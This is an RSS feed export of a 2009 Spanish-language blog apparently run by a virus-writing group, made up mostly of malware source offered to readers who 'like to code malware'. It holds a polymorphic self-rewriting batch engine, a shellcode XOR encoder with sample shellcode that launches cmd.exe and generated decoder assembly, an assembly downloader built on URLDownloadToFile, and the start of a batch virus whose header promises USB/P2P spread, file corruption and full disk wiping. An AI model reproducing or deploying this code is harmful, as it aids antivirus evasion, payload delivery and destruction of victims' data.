%eiotf%/a rdnmm=%random%*9999999 %ini%
%gugip%::%rdnmm% %%m%r: =%%%&gt;&gt;$ %ini%
:tst %ini%
%eiotf%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%gugip%%a%|%mgvmh% "o"&gt;nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%mgvmh%"m!a: =!"&lt;%0&gt;&gt;$) %ini%
type $&gt;%0&amp;&amp; ping -n 1 localhost&gt;nul %ini%
%gugip%%eiotf%dfjalds=createobject("scripting.filesystemobject")&gt;asjdhau.vbs %ini%
%gugip%%eiotf%kdflekj=dfjalds.opentextfile(%0,1)&gt;&gt;asjdhau.vbs %ini%
%gugip%askdajs = kdflekj.readall&gt;&gt;asjdhau.vbs %ini%
%gugip%kdflekj.close&gt;&gt;asjdhau.vbs %ini%
%gugip%Randomize&gt;&gt;asjdhau.vbs %ini%
%gugip%ahqiaohe = chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)&gt;&gt;asjdhau.vbs %ini%
%gugip%jdfasuu = chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)&gt;&gt;asjdhau.vbs %ini%
%gugip%dwudhqw = chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)&gt;&gt;asjdhau.vbs %ini%
%gugip%asdwdkw = chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)^&amp;chr(int(22 * rnd) + 97)&gt;&gt;asjdhau.vbs %ini%
%gugip%sjdfhjs = Replace(askdajs,"kjefv",ahqiaohe)&gt;&gt;asjdhau.vbs %ini%
%gugip%lasdaod = Replace(sjdfhjs,"eiotf",jdfasuu)&gt;&gt;asjdhau.vbs %ini%
%gugip%skdnmxi = Replace(lasdaod,"gugip",dwudhqw)&gt;&gt;asjdhau.vbs %ini%
%gugip%sjsabwu = Replace(skdnmxi,"mgvmh",asdwdkw)&gt;&gt;asjdhau.vbs %ini%
%gugip%%eiotf%skdjawuj=dfjalds.opentextfile(%0,2)&gt;&gt;asjdhau.vbs %ini%
%gugip%skdjawuj.write sjsabwu&gt;&gt;asjdhau.vbs %ini%
asjdhau.vbs&amp;&amp; exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m7%
::-443934897 %m7%
::525484065 %m7%
:: %m1%
::2020451641 %m1%
::-2018256975 %m1%
:: %m9%
::191549157 %m9%
::1635032111 %m9%
:: %m2%
::-888192539 %m2%
::1875225734 %m2%
:: %m3%
::-1117740673 %m3%
::1975806665 %m3%
:: %m0%
::1245290346 %m0%
::-39677251 %m0%
:: %m8%
::-1739870728 %m8%
::-568902610 %m8%
:: %m6%
::-1909547966 %m6%
::-1999741604 %m6%
:: %m4%
::-1847546953 %m4%
::1442194522 %m4%
:: %m5%
::-1313031124 %m5%
::-1207869762 %m5%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%mgvmh%"m%1"&lt;$&gt;nul %mcmp%
if %errorlevel%==1 (%eiotf% a=%a%o %mcmp%
goto :EOF)%mcmp%
%eiotf% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%eiotf%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%</pre>
</div>
<p>Como se puede ver el code demuestra el uso de las tecnicas de:</p>
<p><strong>transpocision de codigo</strong>: notese el comportamiento de las lineas de codigo dentro de las lineas &#8220;:: CODIGO POLIMORFICO [INICIO] %ini%&#8221; y &#8220;:: CODIGO POLIMORFICO [FIN] %mcmp%&#8221;</p>
<p><strong>incremento de tama?o</strong>: despues de cada ejecucion el codigo cambia de tama?o aumentando un numero aleatorio de bytes a?adiendo lineas como: &#8220;::-1739870728 %m8% &#8220;</p>
<p><strong>variables aleatorias</strong>: notese que las cuatro primeras variables que se declaran en:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:82px;text-align:left;margin:0;padding:6px;">   @set sdjf=fictsoehnd %ini%
   @set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
   @%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
   @%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->osea, sdjf, agnvl, egnkv y fsdhf, que contienen las cadenas &#8220;fictsoehnd&#8221; &#8220;set&#8221; &#8220;echo&#8221; y &#8220;find&#8221;, cambian en cada ejecucion del programa por medio de un sencillo script en vbs que se ejecuta al final.</p>
<p>Para los que les gusta codear malware, esto les puede servir de algo.</p>
<p>Saludos!</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sswteam.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sswteam.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sswteam.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sswteam.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sswteam.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sswteam.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sswteam.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sswteam.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sswteam.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sswteam.wordpress.com/91/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=91&subd=sswteam&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://sswteam.wordpress.com/2009/09/12/motor-polimorfico-para-scripts-batch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">lShadowl</media:title>
		</media:content>
	</item>
		<item>
		<title>: shc_encoder (Codificador de shellcodes)</title>
		<link>http://sswteam.wordpress.com/2009/09/12/shc_encoder-codificador-de-shellcodes/</link>
		<comments>http://sswteam.wordpress.com/2009/09/12/shc_encoder-codificador-de-shellcodes/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 23:31:21 +0000</pubDate>
		<dc:creator>lShadowl</dc:creator>
				<category><![CDATA[Herramientas]]></category>
		<category><![CDATA[batch]]></category>
		<category><![CDATA[codificador]]></category>
		<category><![CDATA[encoder]]></category>
		<category><![CDATA[lShadowl]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[The Shadow]]></category>

		<guid isPermaLink="false">http://sswteam.wordpress.com/?p=88</guid>
		<description><![CDATA[
Código:
:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
::	-Utiliza el metodo xor para encriptar.
:: 	-Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
::	-Identifica la existencia de bytes nulos y saltos de linea.
::	-Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=88&subd=sswteam&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:498px;text-align:left;margin:0;padding:6px;">:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
::	-Utiliza el metodo xor para encriptar.
:: 	-Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
::	-Identifica la existencia de bytes nulos y saltos de linea.
::	-Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
:: Limitaciones:
::	-Tama?o maximo de la shellcode de entrada: 61423 bytes
::	-Formato de la shellcode de entrada: \x&lt;byte en hexadecimal&gt;. Ejemplo: \xc7\xe2\xf0\x52
@echo off
setlocal enabledelayedexpansion
if '%1==' (goto:err)
if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
echo =Shellcode original: %shellcode%
set hexstr=0123456789abcdef&amp;&amp; set xor_value=9

:encode
set sc_sz=0&amp;&amp; set i=2&amp;&amp; set/a xor_value+=0x01&amp;&amp; set encoded_shellcode=
echo =^&gt;  Codificando Opcodes (xor 0x%xor_value%)...
:encode_loop
set current_byte=!shellcode:~%i%,2!&amp;&amp; set encodedbyte_hex=
if %current_byte%'==' (goto:test)
set/a encoded_byte=0x%current_byte%^^0x%xor_value%
call:d2h %encoded_byte%
if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
set/a i+=4&amp;&amp; goto:encode_loop

:test
echo =Shellcode codificada: %encoded_shellcode%
echo =^&gt;  Moviendo shellcode codificada a sc.shellcode...
echo %encoded_shellcode%&gt;sc.shellcode
echo =^&gt;  Buscando bytes nulos y saltos de linea en sc.shellcode...
for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a"&gt;nul
	if !errorlevel!==0 (echo =^&lt;    %%a encontrado con: xor 0x%xor_value%
		goto:encode))

:len_loop
set var=!shellcode:~%sc_sz%,1!
if %var%'==' goto:build_decoder
set/a sc_sz+=1
goto:len_loop

:build_decoder
echo =^&gt;  Creando codigo fuente del stub decodificador...
set/a sc_sz/=4
set/a sc_sz+=0x1010
call:d2h %sc_sz%
echo ****************%hex: =%%xor_value%_decoder.asm********
(echo [BITS 32]
echo global ini
echo ini:
echo 	jmp short sc_data
echo decode_routine:
echo   	pop ebx
echo 	xor ecx,ecx
echo 	mov cx, 0x%hex: =%
echo 	sub cx, 0x1010
echo decode_loop:
echo 	xor byte [ebx], 0x%xor_value%
echo 	inc ebx
echo 	loop decode_loop
echo 	jmp short shellcode
echo sc_data:
echo 	call decode_routine
echo shellcode:)&gt;%hex: =%%xor_value%_decoder.asm
type %hex: =%%xor_value%_decoder.asm&amp;&amp; echo *****************************************
echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm

echo.&amp;&amp; echo ^&gt;Proceso finalizado^&lt;

goto:eof
:err
echo Uso: shc_encoder.bat ^&lt;shellcode^&gt;&amp;&amp; goto:eof

:d2h
set dec=%1&amp;&amp; set hex=
:loop
set/a ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
goto:loop
:evals
set hex=%1%hex: =%&amp;&amp; goto:EOF</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->El codigo esta bastante entendible con etiquetas explicativas y los mensajes de salida del proceso.</p>
<p>Aqui una captura de salida del script trabajando:</p>
<p><!-- BEGIN TEMPLATE: bbcode_quote --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Cita:</div>
<table border="0" cellspacing="0" cellpadding="6" width="100%">
<tbody>
<tr>
<td class="alt2" style="border:1px inset;">=Shellcode original:</p>
<p>\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x  8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f  \xb7\x4a\x26\x31\xff\x31</p>
<p>\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\x  c7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0  \x8b\x40\x78\x85\xc0\x74</p>
<p>\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\x  e3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac  \xc1\xcf\x0d\x01\xc7\x38</p>
<p>\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x  8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01  \xd3\x8b\x04\x8b\x01\xd0</p>
<p>\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x  58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00  \x68\x31\x8b\x6f\x87\xff</p>
<p>\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\x  ff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00</p>
<p>=&gt;  Codificando Opcodes (xor 0&#215;10)&#8230;</p>
<p>=Shellcode codificada:</p>
<p>\xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x  9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f  \xa7\x5a\x36\x21\xef\x21</p>
<p>\xd0\xbc\x2c\x71\x6c\x12\x3c\x30\xd1\xdf\x1d\x11\x  d7\xf2\xe0\x42\x47\x9b\x42\x00\x9b\x52\x2c\x11\xc0  \x9b\x50\x68\x95\xd0\x64</p>
<p>\x5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\x  f3\x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc  \xd1\xdf\x1d\x11\xd7\x28</p>
<p>\xf0\x65\xe4\x13\x6d\xe8\x2b\x6d\x34\x65\xf2\x48\x  9b\x48\x34\x11\xc3\x76\x9b\x1c\x5b\x9b\x48\xc\x11\  xc3\x9b\x14\x9b\x11\xc0\</p>
<p>x99\x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x4  8\x4f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\  x78\x21\x9b\x7f\x97\xef\</p>
<p>xc5\x78\xe0\xa5\xb2\x46\xef\xc5\xf8\xfd\xef\xef\xe  f\x73\x7d\x74\x3e\x75\x68\x75\x30\x10</p>
<p>=&gt;  Moviendo shellcode codificada a sc.shellcode&#8230;</p>
<p>=&gt;  Buscando bytes nulos y saltos de linea en sc.shellcode&#8230;</p>
<p>=&lt;    \x00 encontrado con: xor 0&#215;10</p>
<p>=&gt;  Codificando Opcodes (xor 0&#215;11)&#8230;</p>
<p>=Shellcode codificada:</p>
<p>\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x  9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e  \xa6\x5b\x37\x20\xee\x20</p>
<p>\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\x  d6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1  \x9a\x51\x69\x94\xd1\x65</p>
<p>\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\x  f2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd  \xd0\xde\x1c\x10\xd6\x29</p>
<p>\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x  9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\  xc2\x9a\x15\x9a\x10\xc1\</p>
<p>x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x4  9\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\  x79\x20\x9a\x7e\x96\xee\</p>
<p>xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xe  e\x72\x7c\x75\x3f\x74\x69\x74\x31\x11</p>
<p>=&gt;  Moviendo shellcode codificada a sc.shellcode&#8230;</p>
<p>=&gt;  Buscando bytes nulos y saltos de linea en sc.shellcode&#8230;</p>
<p>=&gt;  Creando codigo fuente del stub decodificador&#8230;</p>
<p>****************10c111_decoder.asm********</p>
<p>[BITS 32]</p>
<p>global ini</p>
<p>ini:</p>
<p>jmp short sc_data</p>
<p>decode_routine:</p>
<p>pop ebx</p>
<p>xor ecx,ecx</p>
<p>mov cx, 0&#215;10c1</p>
<p>sub cx, 0&#215;1010</p>
<p>decode_loop:</p>
<p>xor byte [ebx], 0&#215;11</p>
<p>inc ebx</p>
<p>loop decode_loop</p>
<p>jmp short shellcode</p>
<p>sc_data:</p>
<p>call decode_routine</p>
<p>shellcode:</p>
<p>*****************************************</p>
<p>=Codigo del decodificador guardado en 10c111_decoder.asm</p>
<p>&gt;Proceso finalizado&lt;</td>
</tr>
</tbody>
</table>
</div>
<p><!-- END TEMPLATE: bbcode_quote -->Saludos!</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sswteam.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sswteam.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sswteam.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sswteam.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sswteam.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sswteam.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sswteam.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sswteam.wordpress.com/88/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sswteam.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sswteam.wordpress.com/88/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=88&subd=sswteam&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://sswteam.wordpress.com/2009/09/12/shc_encoder-codificador-de-shellcodes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">lShadowl</media:title>
		</media:content>
	</item>
		<item>
		<title>Downloader por linea de comandos</title>
		<link>http://sswteam.wordpress.com/2009/07/21/downloader-por-linea-de-comandos/</link>
		<comments>http://sswteam.wordpress.com/2009/07/21/downloader-por-linea-de-comandos/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 15:53:33 +0000</pubDate>
		<dc:creator>lShadowl</dc:creator>
				<category><![CDATA[VX Sources]]></category>

		<guid isPermaLink="false">http://sswteam.wordpress.com/?p=82</guid>
		<description><![CDATA[;sintaxis:&#62;cld url;destino
format PE GUI 4.0
entry ini

include 'win32a.inc'

ini:
invoke GetCommandLine
mov esi, eax

cmp byte [esi], 34d
je exit

pp:
cmp byte [esi], 32d
je gtp1

inc esi
jmp pp

gtp1:
inc esi
xor ecx, ecx
inc ecx

limp1:
cmp byte [esi], 59d
je ptp1
inc esi
inc ecx
jmp limp1

ptp1:
inc esi
push esi
sub esi, ecx
invoke lstrcpyn,p1,esi,ecx
cmp eax, 0
je exit

gtp2:
pop esi
xor ecx, ecx
inc ecx

limp2:
cmp byte [esi], 59d
je ptp2
inc esi
inc ecx
jmp limp2

ptp2:
inc esi
push esi
sub esi, ecx
invoke lstrcpyn,p2,esi,ecx
cmp [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=82&subd=sswteam&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><pre class="geshi"><span style="color:#adadad;font-style:italic;">;sintaxis:&gt;cld url;destino</span>
format PE GUI <span style="color:#ff0000;">4.0</span>
entry ini

<span style="color:#0000ff;">include</span> <span style="color:#7f007f;">'win32a.inc'</span>

ini:
<span style="color:#0000ff;">invoke</span> GetCommandLine
<span style="color:#00007f;">mov</span> <span style="color:#46aa03;font-weight:bold;">esi</span>, <span style="color:#46aa03;font-weight:bold;">eax</span>

<span style="color:#00007f;">cmp</span> <span style="color:#0000ff;">byte</span> <span style="color:#66cc66;">[</span><span style="color:#46aa03;font-weight:bold;">esi</span><span style="color:#66cc66;">]</span>, 34d
<span style="color:#00007f;">je</span> <span style="color:#0000ff;">exit</span>

pp:
<span style="color:#00007f;">cmp</span> <span style="color:#0000ff;">byte</span> <span style="color:#66cc66;">[</span><span style="color:#46aa03;font-weight:bold;">esi</span><span style="color:#66cc66;">]</span>, 32d
<span style="color:#00007f;">je</span> gtp1

<span style="color:#00007f;">inc</span> <span style="color:#46aa03;font-weight:bold;">esi</span>
<span style="color:#00007f;">jmp</span> pp

gtp1:
<span style="color:#00007f;">inc</span> <span style="color:#46aa03;font-weight:bold;">esi</span>
<span style="color:#00007f;">xor</span> <span style="color:#46aa03;font-weight:bold;">ecx</span>, <span style="color:#46aa03;font-weight:bold;">ecx</span>
<span style="color:#00007f;">inc</span> <span style="color:#46aa03;font-weight:bold;">ecx</span>

limp1:
<span style="color:#00007f;">cmp</span> <span style="color:#0000ff;">byte</span> <span style="color:#66cc66;">[</span><span style="color:#46aa03;font-weight:bold;">esi</span><span style="color:#66cc66;">]</span>, 59d
<span style="color:#00007f;">je</span> ptp1
<span style="color:#00007f;">inc</span> <span style="color:#46aa03;font-weight:bold;">esi</span>
<span style="color:#00007f;">inc</span> <span style="color:#46aa03;font-weight:bold;">ecx</span>
<span style="color:#00007f;">jmp</span> limp1

ptp1:
<span style="color:#00007f;">inc</span> <span style="color:#46aa03;font-weight:bold;">esi</span>
<span style="color:#00007f;">push</span> <span style="color:#46aa03;font-weight:bold;">esi</span>
<span style="color:#00007f;">sub</span> <span style="color:#46aa03;font-weight:bold;">esi</span>, <span style="color:#46aa03;font-weight:bold;">ecx</span>
<span style="color:#0000ff;">invoke</span> lstrcpyn,p1,<span style="color:#46aa03;font-weight:bold;">esi</span>,<span style="color:#46aa03;font-weight:bold;">ecx</span>
<span style="color:#00007f;">cmp</span> <span style="color:#46aa03;font-weight:bold;">eax</span>, <span style="color:#ff0000;">0</span>
<span style="color:#00007f;">je</span> <span style="color:#0000ff;">exit</span>

gtp2:
<span style="color:#00007f;">pop</span> <span style="color:#46aa03;font-weight:bold;">esi</span>
<span style="color:#00007f;">xor</span> <span style="color:#46aa03;font-weight:bold;">ecx</span>, <span style="color:#46aa03;font-weight:bold;">ecx</span>
<span style="color:#00007f;">inc</span> <span style="color:#46aa03;font-weight:bold;">ecx</span>

limp2:
<span style="color:#00007f;">cmp</span> <span style="color:#0000ff;">byte</span> <span style="color:#66cc66;">[</span><span style="color:#46aa03;font-weight:bold;">esi</span><span style="color:#66cc66;">]</span>, 59d
<span style="color:#00007f;">je</span> ptp2
<span style="color:#00007f;">inc</span> <span style="color:#46aa03;font-weight:bold;">esi</span>
<span style="color:#00007f;">inc</span> <span style="color:#46aa03;font-weight:bold;">ecx</span>
<span style="color:#00007f;">jmp</span> limp2

ptp2:
<span style="color:#00007f;">inc</span> <span style="color:#46aa03;font-weight:bold;">esi</span>
<span style="color:#00007f;">push</span> <span style="color:#46aa03;font-weight:bold;">esi</span>
<span style="color:#00007f;">sub</span> <span style="color:#46aa03;font-weight:bold;">esi</span>, <span style="color:#46aa03;font-weight:bold;">ecx</span>
<span style="color:#0000ff;">invoke</span> lstrcpyn,p2,<span style="color:#46aa03;font-weight:bold;">esi</span>,<span style="color:#46aa03;font-weight:bold;">ecx</span>
<span style="color:#00007f;">cmp</span> <span style="color:#46aa03;font-weight:bold;">eax</span>, <span style="color:#ff0000;">0</span>
<span style="color:#00007f;">je</span> <span style="color:#0000ff;">exit</span>

<span style="color:#0000ff;">invoke</span> URLDownloadToFile,<span style="color:#ff0000;">0</span>,p1,p2,<span style="color:#ff0000;">0</span>,<span style="color:#ff0000;">0</span>

<span style="color:#00007f;">cmp</span> <span style="color:#46aa03;font-weight:bold;">eax</span>, <span style="color:#ff0000;">0</span>
<span style="color:#00007f;">jne</span> <span style="color:#0000ff;">exit</span>

<span style="color:#0000ff;">exit</span>:
<span style="color:#0000ff;">invoke</span> ExitProcess, <span style="color:#ff0000;">0</span>

<span style="color:#00007f;">ret</span>
p1	 rb 150d
p2	 rb 100d

<span style="color:#0000ff;">data</span> import
library kernel32, <span style="color:#7f007f;">"KERNEL32.DLL"</span>,\
urlmon, <span style="color:#7f007f;">"URLMON.DLL"</span>

import kernel32,\
GetCommandLine, <span style="color:#7f007f;">"GetCommandLineA"</span>,\
lstrcpyn, <span style="color:#7f007f;">"lstrcpynA"</span>,\
lstrlen, <span style="color:#7f007f;">"lstrlenA"</span>,\
ExitProcess, <span style="color:#7f007f;">"ExitProcess"</span>

import urlmon,\
URLDownloadToFile, <span style="color:#7f007f;">"URLDownloadToFileA"</span>

<span style="color:#0000ff;">end</span> <span style="color:#0000ff;">data</span></pre>
<p>Saludos!</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sswteam.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sswteam.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sswteam.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sswteam.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sswteam.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sswteam.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sswteam.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sswteam.wordpress.com/82/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sswteam.wordpress.com/82/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sswteam.wordpress.com/82/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=82&subd=sswteam&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://sswteam.wordpress.com/2009/07/21/downloader-por-linea-de-comandos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">lShadowl</media:title>
		</media:content>
	</item>
		<item>
		<title>rAVie.c</title>
		<link>http://sswteam.wordpress.com/2009/07/21/ravie-c/</link>
		<comments>http://sswteam.wordpress.com/2009/07/21/ravie-c/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 15:37:58 +0000</pubDate>
		<dc:creator>lShadowl</dc:creator>
				<category><![CDATA[VX Sources]]></category>

		<guid isPermaLink="false">http://sswteam.wordpress.com/?p=75</guid>
		<description><![CDATA[:: Nombre: rAVie.c %main%
:: Autor: Shadow; tshadow; The Shadow %main%
:: Fecha: 30/02/09 %main%
:: Propagacion: Si [P2P+rar-persistente c/4m; Usb-persistente c/4m] %main%
:: Payload: Si [-corrupcion de archivos con extension: jpg, jpeg, doc, xls, pwl, pdf, dot y ppt %main%
::                   [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=75&subd=sswteam&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><pre class="geshi">:: Nombre: rAVie.c %main%
:: Autor: Shadow; tshadow; The Shadow %main%
:: Fecha: 30/02/09 %main%
:: Propagacion: Si [P2P+rar-persistente c/4m; Usb-persistente c/4m] %main%
:: Payload: Si [-corrupcion de archivos con extension: jpg, jpeg, doc, xls, pwl, pdf, dot y ppt %main%
::                     -bucle de beeps %main%
::                     -eliminacion completa de datos de HD0 y HD1]–aleatorio %main%
:: Encriptacion/codificacion: No %main%
:: Polimorfismo: Si [Bait tecnique (rango de incremento=10-120 bytes); Transposicion] %main%
:: Anti-deleccion: Si [de registro y de fichero madre] %main%
:: SO objetivo: W32 NT 4+ (versiones en espa?ol para propagacion p2p completa) %main%
:: Codificacion: batch, vbs y asm 16b %main%
:: %main%
:: Aclaracion: El presente fichero .bat fue creado solo para propositos educativos. El uso de la informacion contenida %main%
:: en el presente documento puede causar perdida de datos y/o mal funcionamiento de hardware. %main%
:: La responsabilidad de el mal uso de la informacion contenida aqui NO cae sobre el autor o ninguna organizacion %main%
:: relacionada a el. %main%
@<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> off %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">mys</span>=%<span style="color:#448888;">systemdrive</span>%\rAVie.bat %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">mys2</span>=%<span style="color:#448888;">systemdrive</span>%\tmp.tmp %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">:_%<span style="color:#448888;"><span>1</span></span> %<span style="color:#448888;">main</span>%</span>
